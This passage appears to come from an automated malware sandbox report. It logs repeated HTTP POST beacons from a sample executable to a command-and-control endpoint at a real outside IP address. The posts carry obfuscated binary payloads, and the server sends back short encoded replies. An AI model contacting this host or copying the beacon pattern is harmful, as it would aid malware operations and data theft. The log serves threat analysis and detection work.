Sep 1, 2024 23:57:06.180430889 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49718	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:08.001928091 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:08.358130932 CEST	1040	OUT	Data Raw: 55 5e 5d 5b 58 52 5c 50 5b 5b 54 51 5b 5c 56 50 57 57 5a 46 50 53 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^][XR\P[[TQ[\VPWWZFPSQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z%#%"<.12<@.2 5;=&>?(232$?#Y<9G$#P/
Sep 1, 2024 23:57:08.593060017 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:08.720413923 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49719	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:08.868805885 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:09.216499090 CEST	1032	OUT	Data Raw: 55 58 58 5a 58 5c 59 5f 5b 5b 54 51 5b 55 56 54 57 52 5a 43 50 5e 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UXXZX\Y_[[TQ[UVTWRZCP^Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#' !>Q2"4B.)&7-=<[&-,++&50 ?9G$#P/,
Sep 1, 2024 23:57:09.467080116 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:09.596533060 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49720	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:09.691541910 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1748 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:10.044622898 CEST	1748	OUT	Data Raw: 55 5f 5d 59 58 59 59 5f 5b 5b 54 51 5b 5d 56 56 57 50 5a 44 50 58 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_]YXYY_[[TQ[]VVWPZDPXQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#20X!9%7-: %;,81;)1%>'//[(+9G$#P/
Sep 1, 2024 23:57:10.267518044 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:10.392662048 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 06 25 2d 2f 54 26 3f 04 1b 27 21 01 0b 29 37 24 41 39 3e 28 01 20 20 24 56 2c 12 00 58 22 33 0f 19 2a 3a 37 06 3e 3e 28 55 23 37 20 51 04 12 22 06 21 2d 29 52 3a 02 31 5c 31 0c 24 03 36 1e 21 07 28 03 2d 57 23 39 36 13 24 30 3e 04 2b 05 3c 57 2c 2b 3c 05 2a 2c 32 1e 34 38 21 56 0f 12 25 57 26 00 2c 07 27 02 3b 0d 27 2f 31 15 21 3d 33 5d 20 07 3c 0e 26 0d 0f 04 28 01 38 00 3f 13 3d 1c 26 3f 3d 02 33 3e 27 11 33 06 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !%-/T&?'!)7$A9>( $V,X"3:7>>(U#7 Q"!-)R:1\1$6!(-W#96$0>+<W,+<,248!V%W&,';'/1!=3] <&(8?=&?=3>'3#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49721	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:09.734276056 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:10.091584921 CEST	1040	OUT	Data Raw: 55 5a 5d 58 5d 59 59 50 5b 5b 54 51 5b 52 56 5f 57 51 5a 42 50 59 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZ]X]YYP[[TQ[RV_WQZBPYQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\'0-""T1 ,:9S W,(Z2>$U<?1%/ (;9G$#P/
Sep 1, 2024 23:57:10.314451933 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:10.442425013 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49723	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:10.693414927 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:11.044708014 CEST	1040	OUT	Data Raw: 55 5b 58 5e 58 5c 59 54 5b 5b 54 51 5b 53 56 56 57 56 5a 40 50 5a 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[X^X\YT[[TQ[SVVWVZ@PZQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z1:6/V22#-"4C#8 X$-<U)12>']+;9G$#P/<
Sep 1, 2024 23:57:11.264202118 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:11.388755083 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49725	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:11.636949062 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:11.982127905 CEST	1040	OUT	Data Raw: 55 5e 58 58 58 58 5c 52 5b 5b 54 51 5b 5c 56 57 57 5b 5a 42 50 5e 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^XXXX\R[[TQ[\VWW[ZBP^QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 1"!/2"0B:%R#6 U,(1>,R(\2[5%</(+9G$#P/
Sep 1, 2024 23:57:12.222878933 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:12.351952076 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49727	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:12.536243916 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:12.888489962 CEST	1040	OUT	Data Raw: 50 5c 58 53 58 5a 59 5f 5b 5b 54 51 5b 54 56 50 57 53 5a 48 50 53 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\XSXZY_[[TQ[TVPWSZHPSQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ % !9'!$.:"% ;=\1<U?1&>"$;\(9G$#P/
Sep 1, 2024 23:57:13.188218117 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:13.356245995 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49729	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:13.507735014 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:13.857340097 CEST	1040	OUT	Data Raw: 55 5b 58 5e 5d 5e 59 52 5b 5b 54 51 5b 5c 56 52 57 51 5a 48 50 5f 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[X^]^YR[[TQ[\VRWQZHP_Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]&3!5.V&2+99V %78>+&[<+1Y%.&%/+9G$#P/
Sep 1, 2024 23:57:14.083755970 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:14.208837032 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49731	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:14.373681068 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:14.732096910 CEST	1040	OUT	Data Raw: 55 5b 5d 5b 5d 58 59 54 5b 5b 54 51 5b 5c 56 54 57 52 5a 45 50 5a 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[][]XYT[[TQ[\VTWRZEPZQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z1"X#?9%1':\.#C<T,=8]2S<2+2=X3Y'\(+9G$#P/
Sep 1, 2024 23:57:14.949594021 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:15.073537111 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49732	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:15.261765003 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49733	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:15.499145985 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:15.857165098 CEST	1756	OUT	Data Raw: 55 5a 58 5e 5d 5e 59 54 5b 5b 54 51 5b 5d 56 51 57 54 5a 43 50 5e 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZX^]^YT[[TQ[]VQWTZCP^Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[%9"?2U2"7:::"6+,8]&-8U+2,&[9$<?\+;9G$#P/
Sep 1, 2024 23:57:16.111725092 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:16.244148016 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 13 25 00 23 1c 27 2f 2a 16 25 08 30 11 29 37 20 07 2e 2d 34 01 37 33 23 0b 38 2c 0c 59 35 33 32 08 3f 07 2f 00 28 3e 34 1c 35 1d 20 51 04 12 21 18 22 2d 2e 0a 3a 15 0f 5c 25 0c 38 02 21 0e 2e 12 2a 3a 29 54 22 04 39 06 25 20 39 58 2b 2f 38 54 3a 01 2f 19 3e 3f 2e 52 23 02 21 56 0f 12 25 1b 27 2a 3b 13 33 3f 3b 0f 30 3c 35 5e 36 3e 01 5d 20 00 2f 52 31 30 3e 5e 3f 01 30 07 3c 3d 03 11 30 12 36 5b 24 13 3b 1f 30 06 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "%#'/%0)7 .-473#8,Y532?/(>45 Q!"-.:\%8!.:)T"9% 9X+/8T:/>?.R#!V%'*;3?;0<5^6>] /R10>^?0<=06[$;0#P-/R1VT
Sep 1, 2024 23:57:16.613411903 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 13 25 00 23 1c 27 2f 2a 16 25 08 30 11 29 37 20 07 2e 2d 34 01 37 33 23 0b 38 2c 0c 59 35 33 32 08 3f 07 2f 00 28 3e 34 1c 35 1d 20 51 04 12 21 18 22 2d 2e 0a 3a 15 0f 5c 25 0c 38 02 21 0e 2e 12 2a 3a 29 54 22 04 39 06 25 20 39 58 2b 2f 38 54 3a 01 2f 19 3e 3f 2e 52 23 02 21 56 0f 12 25 1b 27 2a 3b 13 33 3f 3b 0f 30 3c 35 5e 36 3e 01 5d 20 00 2f 52 31 30 3e 5e 3f 01 30 07 3c 3d 03 11 30 12 36 5b 24 13 3b 1f 30 06 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "%#'/%0)7 .-473#8,Y532?/(>45 Q!"-.:\%8!.:)T"9% 9X+/8T:/>?.R#!V%'*;3?;0<5^6>] /R10>^?0<=06[$;0#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49734	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:15.568857908 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:15.919709921 CEST	1040	OUT	Data Raw: 50 5f 5d 5e 58 5b 5c 57 5b 5b 54 51 5b 56 56 5e 57 51 5a 48 50 5e 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P_]^X[\W[[TQ[VV^WQZHP^QS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_&2Y5?.V%!+:99R"& U/#&.$<<]2%]$,;?9G$#P/(
Sep 1, 2024 23:57:16.142852068 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:16.612740040 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:57:16.613027096 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:57:16.613550901 CEST	232	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 31 20 53 65 70 20 32 30 32 34 20 32 31 3a 35 37 3a 31 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 31 58 5b 57 Data Ascii: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 21:57:16 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-81X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49735	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:16.849181890 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:17.225260973 CEST	1040	OUT	Data Raw: 50 5c 58 5e 5d 5b 59 5f 5b 5b 54 51 5b 53 56 57 57 5a 5a 42 50 5e 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\X^][Y_[[TQ[SVWWZZBP^Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^&2Z5-'1',:75(U,>(&[<W?/1-5$3]?;9G$#P/<
Sep 1, 2024 23:57:17.447166920 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:17.578603029 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49736	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

